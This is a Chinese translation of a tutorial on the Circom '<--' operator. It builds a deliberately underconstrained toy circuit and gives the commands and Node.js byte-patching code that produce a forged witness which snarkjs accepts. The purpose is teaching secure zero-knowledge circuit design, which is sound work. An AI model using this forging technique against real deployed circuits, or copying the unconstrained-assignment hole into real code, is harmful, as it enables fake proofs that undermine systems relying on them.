本文深入探讨了 Circom 中的 <--
操作符的一个潜在漏洞,展示了如何通过创建伪造的见证文件来利用这一漏洞,从而违背开发者对电路期望的假设。在详细的步骤中,介绍了生成有效证明的过程,以及如何修改二进制见证文件以实现攻击。此漏洞的理解对于开发安全的电路至关重要。
The <--
运算符在 Circom 中可能是危险的,因为它将值分配给信号但不对其进行约束。那么你实际上是如何 利用 编写这个漏洞的POC(概念验证)的呢?
我们将要黑入以下电路:
pragma circom 2.1.8;
template Mul3() {
signal input a;
signal input b;
signal input c;
signal output out;
signal i;
a * b === 1; // 强制 a * b === 1
i <-- a * b; // i 必须等于 1
out <== i * c; // out 必须等于 c,因为 i === 1
}
component main{public [a, b, c]} = Mul3();
将此电路保存为 mul3.circom
(缩写为乘以三个变量)。
电路似乎强制 a
和 b
的乘积为 1,然后将 1 分配给 i
。
最后,out
被约束为 i * c
。由于 i
似乎只能取值 1,因此 out
必须等于 c
。
这里的个错误在于 <--
并没有创建一个约束,而是计算一个值并将其分配给 i
。实际上,i
可以是我们想要的任何值,它不必是 a * b
或 1
。
这个漏洞涉及分配一个不是 a * b === 1
的值给 i
,使得 out ≠ c
。
总而言之,电路编写者 期望 out = c
,但我们将违反此假设。在当前的示例中,没有造成什么伤害,但在实际应用中,如果两个信号必须具有相同的值,这可能会成为一个问题。
但我们究竟如何创建这个漏洞?
要为 Circom 电路创建一个证明,我们首先需要为电路创建一个 input.json
:
{"a": "1", "b": "1", "c": "5"}
这将满足电路:
a * b === 1; // 1 * 1 === 1
i <-- a * b; // 1 <-- 1 * 1
out <== i * c; // 5 <== 1 * 5;
// out === c 正如开发者所期待的
我们使用以下命令将电路编译为 r1cs:
circom mul3.circom --r1cs --wasm --sym
然后,使用创建的 wasm 文件生成一个见证,使用 input.json
作为输入:
cd mul3_js/
node generate_witness.js mul3.wasm ../input.json ../witness.wtns
cd ..
我们可以通过以下命令查看 snarkjs 为我们计算的见证:
snarkjs wtns export json witness.wtns witness.json
cat witness.json
见证向量中的第一个条目始终为 1
。(这在我们的 r1cs 文章 中已有解释,读者可以查阅)。向量中其余元素是电路中的值。我们可以通过查看 input.json
、mul3.sym
和 witness.json
文件来查看哪个元素对应哪个信号:
cat input.json
cat mul3.sym
cat witness.json
我们在下面的 witness.json 文件中显示输出并添加标签,用黄色标记:
为了利用这个电路,我们想为 i
分配一个值,导致 out ≠ c
。然而,Circom 不允许我们直接写入不是输入信号的信号,而 i
不是输入信号(可能这样做是为了让我们的黑客行为变得更难?)。(snarkjs 确实提供一个 fullprove API,似乎可以做到这一点,但这个 代码自 2021 年以来一直没有修复)。
一个这样的恶意见证:
[
"1",
"10", // out
"1", // a
"1", // b
"5", // c
"2" // i
]
这个见证将满足约束条件:
a * b === 1; // 1 * 1 = 1
i <-- a * b; // 2 <-- 1 * 1 是可以的,因为 <-- 不是一个约束!
out <== i * c; // 10 = 2 * 5;
现在,我们已经拥有了一个有效的见证,snarkjs 将为其创建证明:
snarkjs wtns check mul3.r1cs witness.wtns
我们的目标是创建一个满足电路的见证,但违反预期属性,即 out = c
。
witness.wtns
是一个二进制文件。不幸的是,如上所述,Circom 和 snarkjs 不提供一个 API 将 json 见证向量输出为 .wtns 文件。可以通过查看生成它的源 代码 来确定 .wtns 文件的格式。然而,快速检查二进制文件就足够了。
我们在上述代码中看到它将一个 Uint8Array
写入文件。因此让我们使用以下代码将文件解析为 Uint8Array
并打印出来:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
let data_arr = new Uint8Array(data);
console.dir(data_arr, {'maxArrayLength': null});
在不深入探讨 witness.wtns
的格式细节之前,我们仍然可以看到我们的见证值按与 witness.json
相同的顺序排列!
现在我们准备通过覆盖存储这些信号 i
和 out
的值的二进制文件来创建一个假见证:
const fs = require('fs');
const filePath = 'witness.wtns';
const data = fs.readFileSync(filePath);
console.log("Before");
console.dir(data, {'maxArrayLength': null});
data[108] = 10; // `out`
data[236] = 2; // `i`
console.log("After");
console.dir(data, {'maxArrayLength': null});
fs.writeFileSync('exploit_witness.wtns', data);
在运行我们创建假见证的代码后,我们可以看到 out
和 i
对应的值已按计划更改(更改的字节用红框标注,其余部分保持不变):
上述代码还为我们写入文件 exploit_witness.wtns
,该文件仅是上面打印的字节数组。
当我们使用 snarkjs 验证 exploit_witness.wtns
与电路时:
snarkjs wtns check mul3.r1cs exploit_witness.wtns
见证满足电路!
从这里,我们可以简单地按照 Circom 文档中的证明步骤 创建一个假证明来利用该电路。
请查看我们的 零知识课程,了解更多关于零知识证明的主题。
最初发布于 3 月 18 日
- 原文链接: rareskills.io/post/under...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!